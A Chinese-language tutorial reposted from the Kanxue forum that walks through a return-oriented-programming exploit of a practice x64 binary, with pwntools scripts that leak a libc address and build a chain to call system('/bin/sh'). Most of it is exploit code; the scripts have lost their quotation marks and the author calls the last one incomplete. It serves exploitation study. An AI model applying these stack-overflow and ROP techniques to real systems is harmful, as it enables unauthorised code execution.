ROP【二進位學習】

ROP【二進位學習】

來自專欄看雪論壇4 人贊了文章

Linux x64平台上的二進位ROP分析學習,目標文件附件中。文件開啟了NX保護,使用ROP技術實現溢出繞過。

IDA 反彙編查看文件如下:

進入vuln函數後 棧開闢 rsp,40h大小,gets函數讀入數據到rdi指向的空間,而此時rdi是指向棧頂,如果不遇到換行符或0 gets將一直讀入數據到棧上。所以這是一個經典的棧溢出。下面開始分析學習。

使用pwn工具檢查ELF文件開啟的保護,代碼如下:

#!/usr/bin/python from pwn import * import pdb context.log_level = debug target=process(./rop) elf = ELF(./rop) pdb.set_trace() target.sendline(a*64+b*8+c*8) target.interactive()

文件開啟了NX保護,因為堆棧開闢了0x40大小,所以我用40個a覆蓋這個40位元組大小,用8位元組b覆蓋rbp,後面用8位元組c覆蓋返回地址。函數返回時會跳轉到ccc處執行,程序崩潰。

因為有NX保護所以不能再堆棧上執行,這裡需要迂迴利用即ROP技術得到shell。

如果最終執行shellcode獲得shell就要通過mmap函數在可執行的代碼區申請一片空間,然後執行gets函數拷貝shellcode到該空間,最後把EIP指向shellcode的空間去執行。這樣就需要在ELF的內存中找到一個可執行可寫的空間。

如圖所示,凡是可執行的空間不可寫,凡是可寫的空間不能執行。但是ELF內存中載入了libc庫,這個庫裡面有system函數,執行system(『/bin/sh』)同樣可以獲得SHELL。

問題一:ELF雖然沒有開啟PIE(內存地址隨機化),其內存載入基地址雖然是固定的,但是ELF中並沒有明確調用system函數,所以我們無法直接拿system函數用。

解答:通過觀察rop文件發現其中有一個printf函數,列印來自終端輸入的字元,我們控制printf函數列印system函數地址。

1.ROP鏈構造列印system函數地址

研究怎麼控制rsi的值,現在我們能控制函數的返回值地址,那麼只要跳轉到一個代碼片段給rsi賦值後返回,然後在跳轉到printf處執行即可(這裡就是獲得gadget)。已有現成的工具來搜索這樣的代碼片段了 可網上搜索查找,這裡使用IDA搜索本地pop rsi。如下:

堆棧裡布置數據,先執行 0x40075A處的代碼,然後跳轉到 0x400740處去執行,這樣就可以控制r12,edi,rsi。然後執行call的時候讓call地址變成printf got表裡的地址,這樣就可以列印任意地址指向的內存值。

1.返回值地址處用0x40075A覆蓋

2.因為call執行完後 要判斷rbx rbp是否相等。所以這裡讓rbx為0,rbp為1就繞過了循環判斷。

3.使用printf的got地址填充,這樣pop r12, rbx為0 然後call調用printf函數

4.r13 並沒有怎麼使用所以這裡填充0

5.r14 傳給了 rsi 這裡是我們要列印的地址,這裡列印printf got表地址指向的內容,所以使用printf got地址填充

6.r15 傳給了 edi,對printf函數參數來說他是一個格式化串,這裡只是只用文件中的字串0x400784地址填充

7.retun指向後要返回到rsp指向的空間,這裡因為要跳轉到0x400740處去執行call,所以使用0x400740覆蓋

8.Call執行完後,還要執行一個「add rsp,8」和6次pop,那麼我們在後面再布置7個地址,然後返回地址用vuln地址,繼續跳轉到漏洞函數處。7個0和0x400656

#!/usr/bin/python from pwn import * import pdb context.log_level = debug target=process(./rop) elf = ELF(./rop) print_got_addr = elf.got[printf] print(hex(print_got_addr)) rop=a*72 rop += p64(0x40075a) #返回地址 rop += p64(0x0) # rbx rop += p64(0x1) # rbp rop += p64(print_got_addr) rop += p64(0x0) rop += p64(0x400784) rop += p64(0x400740) rop += p64(0x0) * 7 rop += p64(0x400656) pdb.set_trace() target.sendline(rop) target.recvuntil(:) target.recvuntil(: ) addr = target.recvline()[:-1] addr = u64(addr + x00 (8-len(addr))) print(printfs addr is :) print(hex(addr)) target.interactive()

注意這裡有個問題:這堆棧裡面 r12 和 r13並沒有按照我們原本想像的那樣填充。因為gets函數遇到換行符就結束了後面的內容不在讀取。然而printf_got_addr = 0x600af0,這個數據中剛好有個0x0a(換行符內存中的值)

解決辦法:不用直接傳0x600af0,我們可以配合rbx*8 變換 然後r12變成其他的值即可。r12 = 0x600af0-rbx*8 如果要改變到0x0a 則需要rbx*8 > 0xF0 ----> rbx > 0xF0/8 == rbx > 0x1e,因為後面有個判斷 rbp = rbx + 1 所以這裡讓rbx = 0x1f。

修改代碼繼續列印system地址:

#!/usr/bin/python from pwn import * import pdb context.log_level = debug target=process(./rop) elf = ELF(./rop) print_got_addr = elf.got[printf] gets_got_addr = elf.got[gets] print(hex(print_got_addr)) rop=a*72 rop += p64(0x40075a) rop += p64(0x1f) rop += p64(0x20) rop += p64(print_got_addr - 0xf8) rop += p64(0x0) rop += p64(gets_got_addr) rop += p64(0x400784) rop += p64(0x400740) rop += p64(0x0) * 7 rop += p64(0x400656) pdb.set_trace() target.sendline(rop) target.recvuntil(:) target.recvuntil(: ) addr = target.recvline()[:-1] addr = u64(addr+x00*(8-len(addr))) print(printfs addr is :) print(hex(addr))

IDA 附加程序執行到printf函數時發出一個退出信號。因為printf需要rax為0,所以rop鏈需要在繼續添加跳轉讓rax為0的代碼段。在如下地址找到(0x4005F3):

這裡我們先將返回地址覆蓋成0x4005F3然後在跳轉到0x40075a 就可以完成printf函數執行。修改代碼如下:

#!/usr/bin/python from pwn import * import pdb context.log_level = debug target=process(./rop) elf = ELF(./rop) print_got_addr = elf.got[printf] gets_got_addr = elf.got[gets] print(hex(print_got_addr)) rop=a*72 rop += p64(0x4005f3) #rax為0 rop += p64(0x0) rop += p64(0x40075a) rop += p64(0x1f) rop += p64(0x20) rop += p64(print_got_addr - 0xf8) rop += p64(0x0) rop += p64(gets_got_addr) rop += p64(0x400784) rop += p64(0x400740) rop += p64(0x0) * 7 rop += p64(0x400656) pdb.set_trace() target.sendline(rop) target.recvuntil(:) target.recvuntil(: ) addr = target.recvline()[:-1] addr = u64(addr+x00*(8-len(addr))) print(printfs addr is :) print(hex(addr))

調試輸出system函數地址:

後面我使用IDA 附加程序找到system函數地址和gets函數地址計算兩個地址之間的偏移:

我電腦上計算的偏移為:0x28DE0

system函數在libc中的地址為 0x7fafa2911370 - 0x28DE0

64位彙編

當參數少於7個時, 參數從左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

當參數為7個以上時, 前 6 個與前面一樣,但後面的依次從 「右向左」 放入棧中,即和32位彙編一樣

參數個數大於 7 個的時候

H(a, b, c, d, e, f, g, h);

a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9

h->8(%esp)

g->(%esp)

call H

2.ROP鏈構造執行system函數

得到system函數地址後,接下來就是執行system。那麼x64系統下參數是存放在寄存器上,第一個參數地址放在rdi寄存器里。

這樣要執行system(『/bin/sh』)我們就需要找/bin/sh字元串的地址,然後把該地址放到rdi再去執行system函數,才能獲得shell。其實在libc裡面有『/bin/sh』也可以用上面的辦法計算偏移得到地址。參考文章中是繼續使用Rop鏈所以我跟隨文章中的思路繼續學習。

通過觀察ELF文件各個區段信息,發現.bss段是可寫的,利用Rop技術執行gets函數,把/bin/sh讀入到這個區域,然後記錄其地址,並傳給edi。system函數地址也寫入到.bss段中。

bss段地址為 0x600B30, 這裡 0x600B30存放system函數地址,0x600B38存放字元串,執行call 0x6000b30就會跳轉到system地址處去執行。

構造rop來執行gets函數把輸入的值寫到bss段上。源碼里gets函數相關的反彙編:

可以看到,gets執行是把輸入的數據直接讀入到了rdi指向的內存空間了,這裡我們就控制rdi為0x600b30,然後一起讀入system地址和/bin/sh。

所利用的代碼片段如下:

#!/usr/bin/python from pwn import * import pdb context.log_level = debug target=process(./rop) elf = ELF(./rop) print_got_addr = elf.got[printf] gets_got_addr = elf.got[gets] print(hex(print_got_addr)) rop=a*72 rop += p64(0x4005f3) rop += p64(0x0) rop += p64(0x40075a) rop += p64(0x1f) rop += p64(0x20) rop += p64(print_got_addr - 0xf8) rop += p64(0x0) rop += p64(gets_got_addr) rop += p64(0x400784) rop += p64(0x400740) rop += p64(0x0) * 7 rop += p64(0x400656) pdb.set_trace() target.sendline(rop) target.recvuntil(:) target.recvuntil(: ) addr = target.recvline()[:-1] addr = u64(addr+x00*(8-len(addr))) sys_addr = addr - 0x28DE0 print(printfs addr is :) print(hex(addr)) rop =a*72 rop += p64(0x40075a) rop += p64(0x0) rop += p64(0x1) rop += p64(gets_got_addr) rop += p64(0x0) rop += p64(0x0) rop += p64(0x600b30) rop += p64(0x400740) rop += p64(0x0)*7 rop += p64(0x40075a) rop += p64(0x0) rop += p64(0x1) rop += p64(0x600b30) rop += p64(0x0) rop += p64(0x0) rop += p64(0x600b38) rop += p64(0x0400740) rop += p64(0x0)*7 rop += p64(0x400656) target.sendline(rop) target.sendline(p64(sys_addr)+/bin/sh) target.sendline(rop) target.interactive()

因為某個知識點不清楚代碼寫的不完整所以運行效果沒有像原文中那樣完整:

感謝看雪論壇和論壇上大佬們的無私奉獻!

相關鏈接:[原創]二進位漏洞利用中的ROP技術研究與實例分析

原文作者: 山竹笠(看雪ID)

原文鏈接:bbs.pediy.com/thread-24

轉載請註明:轉自看雪論壇

看雪推薦閱讀:

1、比特幣源碼研讀---開篇

2、分析了個簡單的病毒, 熟悉一下16位彙編不死鳥之眼——CVE-2012-0158的常見利用姿勢

3、某內核注入型外掛樣本原理分析。震驚!火絨慘遭利用,藍洞或成最大輸家

4、一次逆向fb尋找密碼的記錄及還原相關演算法

5、不死鳥之眼——CVE-2012-0158的常見利用姿勢

推薦閱讀:

二進位編碼到底如何運作?

TAG:二進位 | 計算機原理 | 計算機語言 |